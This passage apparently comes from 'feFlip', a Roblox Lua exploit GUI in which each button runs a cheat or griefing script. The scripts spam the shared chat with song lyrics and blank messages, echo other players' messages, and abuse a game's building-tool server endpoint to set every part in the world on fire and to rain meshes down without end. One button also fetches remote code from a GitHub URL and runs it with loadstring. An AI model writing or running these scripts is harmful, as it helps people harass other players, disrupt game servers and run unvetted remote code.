--[[ Load Message ]]--
print(scriptname .. " " .. ver .. " loaded successfully")
print("made by Zeezy#7203")
local notifSound = Instance.new("Sound",workspace)
notifSound.PlaybackSpeed = 1.5
notifSound.Volume = 0.15
notifSound.SoundId = "rbxassetid://170765130"
notifSound.PlayOnRemove = true
notifSound:Destroy()
game.StarterGui:SetCore("SendNotification", {Title = "feFlip", Text = "feFlip loaded successfully!", Icon = "rbxassetid://505845268", Duration = 5, Button1 = "Okay"})
end)
end;
task.spawn(C_e7);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
local function C_e9()
local script = G2L["e9"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local Camera = workspace.CurrentCamera
local SPEED_MULTIPLIER = 30
local JUMP_POWER = 60
local JUMP_GAP = 0.3
local delta = 1
local character = game.Players.LocalPlayer.Character or game.Players.LocalPlayer.CharacterAdded:Wait()
for i, v in ipairs(character:GetDescendants()) do
if v:IsA("BasePart") then
v.CanCollide = false
v.Transparency = 0
end
end
local ball = character:WaitForChild("HumanoidRootPart")
ball.Shape = Enum.PartType.Ball
ball.Material = Enum.Material.SmoothPlastic
ball.Size = Vector3.new(5, 5, 5)
ball.Transparency = 0.75
local humanoid = character:WaitForChild("Humanoid")
local params = RaycastParams.new()
params.FilterType = Enum.RaycastFilterType.Blacklist
params.FilterDescendantsInstances = {character}
local function updateMovement()
local movement = Vector3.new(0, 0, 0)
if UserInputService:IsKeyDown(Enum.KeyCode.W) then
movement -= Camera.CFrame.LookVector
end
if UserInputService:IsKeyDown(Enum.KeyCode.S) then
movement += Camera.CFrame.LookVector
end
if UserInputService:IsKeyDown(Enum.KeyCode.A) then
movement -= Camera.CFrame.RightVector
end
if UserInputService:IsKeyDown(Enum.KeyCode.D) then
movement += Camera.CFrame.RightVector
end
if movement.Magnitude > 0 then
movement = movement.Unit * SPEED_MULTIPLIER
ball.RotVelocity = Vector3.new(movement.X, ball.RotVelocity.Y, movement.Z)
end
end
local movementConnection = RunService.RenderStepped:Connect(function(delta)
ball.CanCollide = true
humanoid.PlatformStand = true
if not UserInputService:GetFocusedTextBox() then
updateMovement()
end
end)
UserInputService.JumpRequest:Connect(function()
local result = workspace:Raycast(
ball.Position,
Vector3.new(0, -((ball.Size.Y / 2) + JUMP_GAP), 0),
params
)
if result then
ball.Velocity = ball.Velocity + Vector3.new(0, JUMP_POWER, 0)
end
end)
Camera.CameraSubject = ball
humanoid.Died:Connect(function()
movementConnection:Disconnect()
end)
end)
end;
task.spawn(C_e9);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
local function C_eb()
local script = G2L["eb"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
local delay = 2.5
function send(text)
local A_delay = text
local A_2 = "All"
local event = game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest
event:FireServer(A_delay, A_2)
end
send("We're no strangers to love")
wait(delay)
send("You know the rules, and so do I")
wait(delay)
send("A full commitment's what I'm thinking of")
wait(delay)
send("You wouldn't get this from any other guy")
wait(delay)
send("I just wanna tell you how I'm feeling")
wait(delay)
send("Gotta make you understand")
wait(delay)
send("Never gonna give you up")
wait(delay)
send("Never gonna let you down")
wait(delay)
send("Never gonna run around and desert you")
wait(delay)
send("Never gonna make you cry")
wait(delay)
send("Never gonna say goodbye")
wait(delay)
send("Never gonna tell a lie and hurt you")
wait(delay)
send("We've known each other for so long")
wait(delay)
send("Your heart's been aching but you're too shy to say it")
wait(delay)
send("Inside we both know what's been going on")
wait(delay)
send("We know the game and we're gonna play it")
wait(delay)
send("And if you ask me how I'm feeling")
wait(delay)
send("Don't tell me you're too blind to see")
wait(delay)
send("Never gonna give you up")
wait(delay)
send("Never gonna let you down")
wait(delay)
send("Never gonna run around and desert you")
wait(delay)
send("Never gonna make you cry")
wait(delay)
send("Never gonna say goodbye")
wait(delay)
send("Never gonna tell a lie and hurt you")
wait(delay)
send("Never gonna give you up")
wait(delay)
send("Never gonna let you down")
wait(delay)
send("Never gonna run around and desert you")
wait(delay)
send("Never gonna make you cry")
wait(delay)
send("Never gonna say goodbye")
wait(delay)
send("Never gonna tell a lie and hurt you")
wait(delay)
send("Never gonna give, never gonna give (Give you up)")
wait(delay)
send("We've known each other for so long")
wait(delay)
send("Your heart's been aching but you're too shy to say it")
wait(delay)
send("Inside we both know what's been going on")
wait(delay)
send("We know the game and we're gonna play it")
wait(delay)
send("I just wanna tell you how I'm feeling")
wait(delay)
send("Gotta make you understand")
wait(delay)
send("Never gonna give you up")
wait(delay)
send("Never gonna let you down")
wait(delay)
send("Never gonna run around and desert you")
wait(delay)
send("Never gonna make you cry")
wait(delay)
send("Never gonna say goodbye")
wait(delay)
send("Never gonna tell a lie and hurt you")
wait(delay)
send("Never gonna give you up")
wait(delay)
send("Never gonna let you down")
wait(delay)
send("Never gonna run around and desert you")
wait(delay)
send("Never gonna make you cry")
wait(delay)
send("Never gonna say goodbye")
wait(delay)
send("Never gonna tell a lie and hurt you")
wait(delay)
send("Never gonna give you up")
wait(delay)
send("Never gonna let you down")
wait(delay)
send("Never gonna run around and desert you")
wait(delay)
send("Never gonna make you cry")
wait(delay)
send("Never gonna say goodbye")
wait(delay)
send("Never gonna tell a lie and hurt you")
end)
end;
task.spawn(C_eb);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
local function C_ed()
local script = G2L["ed"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
--- [R6] FE salute ---
--- Edited by nul#3174 ---
--- Credits to the unknown original creator ---
local UIS = game:GetService("UserInputService")
local Posed = false
local Player = game.Players.LocalPlayer
local Animation = Instance.new("Animation")
Animation.AnimationId = "rbxassetid://186434728"
local Track = Player.Character.Humanoid:LoadAnimation(Animation)
local function onRan()
UIS.InputBegan:Connect(function(input, gameProcessed)
if input.KeyCode == Enum.KeyCode.H and not Posed and UIS:GetFocusedTextBox() == nil then
Posed = true
Track:Play()
wait(.05)
Track:AdjustSpeed(0)
elseif input.KeyCode == Enum.KeyCode.H and Posed and UIS:GetFocusedTextBox() == nil then
Posed = false
Track:Stop()
end
end)
end
onRan()
local function onDeath()
Player.CharacterAdded:Wait()
repeat wait() until Player.Character:FindFirstChild("Humanoid")
Track = Player.Character.Humanoid:LoadAnimation(Animation)
UIS.InputBegan:Connect(function(input, gameProcessed)
if input.KeyCode == Enum.KeyCode.H and not Posed and UIS:GetFocusedTextBox() == nil then
Posed = true
Track:Play()
wait(.05)
Track:AdjustSpeed(0)
elseif input.KeyCode == Enum.KeyCode.H and Posed and UIS:GetFocusedTextBox() == nil then
Posed = false
Track:Stop()
end
end)
end
Player.Character:WaitForChild("Humanoid").Died:Connect(function()
onDeath()
onRan()
end)
Player.CharacterAdded:Connect(function()
onDeath()
onRan()
end)
end)
end;
task.spawn(C_ed);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
local function C_ef()
local script = G2L["ef"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
-- Lyrics
local lyrics = {
"Spooky Scary Skeletons",
"Send shivers down your spine",
"Shrieking skulls will shock your soul",
"Seal your doom tonight",
"Spooky Scary Skeletons",
"Speak with such a screech",
"You'll shake and shudder in surprise",
"When you hear these zombies shriek",
"We're so sorry skeletons",
"You're so misunderstood",
"You only want to socialize",
"But i don't think we should",
"Cause spooky scary skeletons",
"Shout startling shrilly screams",
"They'll sneak from their sarcophagus",
"And just won't leave you be.",
}
-- Chat function
local function singLyrics()
for _, lyric in ipairs(lyrics) do
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(lyric, "All")
wait(2.5) -- Adjust the delay as desired
end
end
-- Start singing
singLyrics()
end)
end;
task.spawn(C_ef);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
local function C_f1()
local script = G2L["f1"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
local A_1 = "Ima do it."
local A_2 = "All"
local Event = game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest
Event:FireServer(A_1, A_2)
wait(1)
local A_1 = "I will oof."
local A_2 = "All"
local Event = game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest
Event:FireServer(A_1, A_2)
wait(1)
local A_1 = "Goodbye."
local A_2 = "All"
local Event = game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest
Event:FireServer(A_1, A_2)
wait(1)
local LocalPlayer = game:GetService("Players").LocalPlayer
LocalPlayer.Character.Humanoid:MoveTo(LocalPlayer.Character.HumanoidRootPart.Position + LocalPlayer.Character.HumanoidRootPart.CFrame.lookVector * 10)
LocalPlayer.Character.Humanoid.Jump = true
wait(0.5)
function Iterate(instance, func)
for i, v in next, instance:GetChildren() do
func(v)
end
end
limbs = {
["Right Leg"] = true;
["Right Arm"] = true;
["Left Leg"] = true;
["Left Arm"] = true;
}
Iterate(LocalPlayer.Character, function(v)
if v:IsA("BasePart") then
local attachment = Instance.new("Attachment")
attachment.Parent = v
attachment.Name = (v.Name .. "[Attachment]")
if limbs[v.Name] then
attachment.Position = Vector3.new(0, v.Size.Y/2, 0)
elseif v.Name == "Head" then
attachment.Position = Vector3.new(0, -v.Size.Y/2, 0)
attachment.Rotation = Vector3.new(0, 0, -90)
end
end
end)
local leftLegAttachment = Instance.new("Attachment")
leftLegAttachment.Position = Vector3.new(-.5, -1, 0)
leftLegAttachment.Rotation = Vector3.new(0, -90, 0)
local rightLegAttachment = Instance.new("Attachment")
rightLegAttachment.Position = Vector3.new(.5, -1, 0)
rightLegAttachment.Rotation = Vector3.new(0, -90, 0)
rightLegAttachment.Parent, leftLegAttachment.Parent = LocalPlayer.Character.Torso, LocalPlayer.Character.Torso
jointAttachments = {
['Head'] = {
['Attachment0'] = LocalPlayer.Character.Torso['NeckAttachment'];
['Attachment1'] = LocalPlayer.Character.Head['Head[Attachment]'];
};
['Left Arm'] = {
['Attachment0'] = LocalPlayer.Character.Torso['LeftCollarAttachment'];
['Attachment1'] = LocalPlayer.Character['Left Arm']['Left Arm[Attachment]'];
};
['Right Arm'] = {
['Attachment0'] = LocalPlayer.Character.Torso['RightCollarAttachment'];
['Attachment1'] = LocalPlayer.Character['Right Arm']['Right Arm[Attachment]'];
};
['Left Leg'] = {
['Attachment0'] = leftLegAttachment;
['Attachment1'] = LocalPlayer.Character['Left Leg']['Left Leg[Attachment]'];
};
['Right Leg'] = {
['Attachment0'] = rightLegAttachment;
['Attachment1'] = LocalPlayer.Character['Right Leg']['Right Leg[Attachment]'];
};
}
LocalPlayer.Character.Humanoid.PlatformStand = true
Iterate(LocalPlayer.Character, function(v)
if v:IsA("BasePart") then
if jointAttachments[v.Name] then
local ballSocketJoint = Instance.new("BallSocketConstraint")
ballSocketJoint.Parent = v
ballSocketJoint.Radius = 0.15
ballSocketJoint.Attachment0, ballSocketJoint.Attachment1 = jointAttachments[v.Name]['Attachment0'], jointAttachments[v.Name]['Attachment1']
end
end
end)
Iterate(LocalPlayer.Character.Torso, function(v)
if v:IsA("Motor") then
v:Remove()
end
end)
end)
end;
task.spawn(C_f1);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
local function C_f3()
local script = G2L["f3"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
local Action = game.Players:GetPlayers()
for i = 1,#Action do
Action[i].Chatted:connect(function(Message)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("".."["..Action[i].Name.."]:".." "..Message, "All")
end)
end
end)
end;
task.spawn(C_f3);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
local function C_f5()
local script = G2L["f5"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
local hint = Instance.new("Hint", workspace)
local count = 60
repeat
hint.Text = "Estimated time remaining until chat is deleted: "..math.floor(count*2.5).." seconds"
wait(2.5)
count = count - 1
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(" ", "All")
until count == 0
hint.Text = "The chat should be gone."
wait(3)
hint:Destroy()
end)
end;
task.spawn(C_f5);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
local function C_f7()
local script = G2L["f7"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
if game.PlaceId == 445664957 then
return;
end
local player = game:GetService("Players").LocalPlayer
repeat wait() until game.Players.LocalPlayer.Character
Char = game.Players.LocalPlayer.Character or player.CharacterAdded:Wait()
if Char.Humanoid.RigType == Enum.HumanoidRigType.R6 == true then
game.Players.LocalPlayer.Character:BreakJoints()
game.Players.LocalPlayer.Character=nil
Connection = game.Workspace.DescendantAdded:Connect(function(c)
if c.Name == "Animate" then
c.Disabled=true
end
end)
function waitForChild(parent, childName)
local child = parent:findFirstChild(childName)
if child then return child end
while true do
child = parent.ChildAdded:wait()
if child.Name==childName then return child end
end
end
repeat wait() until game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character:FindFirstChild("Humanoid") ~= nil
Died = game.Players.LocalPlayer.Character:waitForChild("Humanoid").Died:Connect(function()
Connection:Disconnect()
Died:Disconnect()
end)
wait(.1)
-- ANIMATION
-- declarations
local Figure = game.Players.LocalPlayer.Character
local Torso = waitForChild(Figure, "Torso")
local RightShoulder = waitForChild(Torso, "Right Shoulder")
local LeftShoulder = waitForChild(Torso, "Left Shoulder")
local RightHip = waitForChild(Torso, "Right Hip")
local LeftHip = waitForChild(Torso, "Left Hip")
local Neck = waitForChild(Torso, "Neck")
local Humanoid = waitForChild(Figure, "Humanoid")
local pose = "Standing"
local toolAnim = "None"
local toolAnimTime = 0
local jumpMaxLimbVelocity = 0.75
-- functions
function onRunning(speed)
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
pose = "Jumping"
end
function onClimbing()
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function onSwimming(speed)
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function moveJump()
RightShoulder.MaxVelocity = jumpMaxLimbVelocity
LeftShoulder.MaxVelocity = jumpMaxLimbVelocity
RightShoulder:SetDesiredAngle(3.14)
LeftShoulder:SetDesiredAngle(-3.14)
RightHip:SetDesiredAngle(0)
LeftHip:SetDesiredAngle(0)
end
-- same as jump for now
function moveFreeFall()
RightShoulder.MaxVelocity = jumpMaxLimbVelocity
LeftShoulder.MaxVelocity = jumpMaxLimbVelocity
RightShoulder:SetDesiredAngle(3.14)
LeftShoulder:SetDesiredAngle(-3.14)
RightHip:SetDesiredAngle(0)
LeftHip:SetDesiredAngle(0)
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder:SetDesiredAngle(3.14 /2)
LeftShoulder:SetDesiredAngle(-3.14 /2)
RightHip:SetDesiredAngle(3.14 /2)
LeftHip:SetDesiredAngle(-3.14 /2)
end
function getTool()
for _, kid in ipairs(Figure:GetChildren()) do
if kid.className == "Tool" then return kid end
end
return nil
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
RightShoulder:SetDesiredAngle(1.57)
return
end
if (toolAnim == "Slash") then
RightShoulder.MaxVelocity = 0.5
RightShoulder:SetDesiredAngle(0)
return
end
if (toolAnim == "Lunge") then
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightHip.MaxVelocity = 0.5
LeftHip.MaxVelocity = 0.5
RightShoulder:SetDesiredAngle(1.57)
LeftShoulder:SetDesiredAngle(1.0)
RightHip:SetDesiredAngle(1.57)
LeftHip:SetDesiredAngle(1.0)
return
end
end
function move(time)
local amplitude
local frequency
if (pose == "Jumping") then
moveJump()
return
end
if (pose == "FreeFall") then
moveFreeFall()
return
end
if (pose == "Seated") then
moveSit()
return
end
local climbFudge = 0
if (pose == "Running") then
if (RightShoulder.CurrentAngle > 1.5 or RightShoulder.CurrentAngle < -1.5) then
RightShoulder.MaxVelocity = jumpMaxLimbVelocity
else
RightShoulder.MaxVelocity = 0.15
end
if (LeftShoulder.CurrentAngle > 1.5 or LeftShoulder.CurrentAngle < -1.5) then
LeftShoulder.MaxVelocity = jumpMaxLimbVelocity
else
LeftShoulder.MaxVelocity = 0.15
end
amplitude = 1
frequency = 9
elseif (pose == "Climbing") then
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
amplitude = 1
frequency = 9
climbFudge = 3.14
else
amplitude = 0.1
frequency = 1
end
desiredAngle = amplitude * math.sin(time*frequency)
RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
RightHip:SetDesiredAngle(-desiredAngle)
LeftHip:SetDesiredAngle(-desiredAngle)
local tool = getTool()
if tool then
animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = time + .3
end
if time > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
toolAnim = "None"
toolAnimTime = 0
end
end
-- connect events
Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Jumping:connect(onJumping)
Humanoid.Climbing:connect(onClimbing)
Humanoid.GettingUp:connect(onGettingUp)
Humanoid.FreeFalling:connect(onFreeFall)
Humanoid.FallingDown:connect(onFallingDown)
Humanoid.Seated:connect(onSeated)
Humanoid.PlatformStanding:connect(onPlatformStanding)
Humanoid.Swimming:connect(onSwimming)
-- main program
local runService = game:service("RunService");
while Figure.Parent~=nil do
local _, time = wait(0.1)
move(time)
end
end
end)
end;
task.spawn(C_f7);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
local function C_f9()
local script = G2L["f9"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/AlexCr4sh/FeScripts/main/FeCarScript.lua", true))()
end)
end;
task.spawn(C_f9);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
local function C_fd()
local script = G2L["fd"];
local button = script.Parent
local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid
button.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"8006679977")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(50,50,50))
SetLocked(v,true)
end
end
end
Sky(input.Text)
end)
end;
task.spawn(C_fd);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
local function C_ff()
local script = G2L["ff"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function AddFire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
_(args)
end
function FireParts()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
AddFire(v)
end)
end
end
FireParts()
end)
end;
task.spawn(C_ff);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
local function C_101()
local script = G2L["101"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = workspace
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = workspace.Part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
hrpcf = player.Character.HumanoidRootPart.CFrame
while wait(0.5) do
x = hrpcf.x
z = hrpcf.z
randint = math.random(-600,600)
randint2 = math.random(-600,600)
xloc = randint + x
zloc = randint2 + z
cf = player.Character.HumanoidRootPart.CFrame.y + 400
spawn(function()
CreatePart(CFrame.new(math.floor(xloc), math.random(cf,cf+400), math.floor(zloc)))
for i,v in game.Workspace:GetDescendants() do
if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
SetName(v,"b_1337")
SetAnchor(false,v)
AddMesh(v)
Resize(v, Vector3.new(100,100,100),v.CFrame)
MeshResize(v,Vector3.new(3,3,3))
SetMesh(v,"614605299")
SetTexture(v, "614605300")
SetCollision(v,false)
else
end
end
end)
end
end)
end;
task.spawn(C_101);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
local function C_103()
local script = G2L["103"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
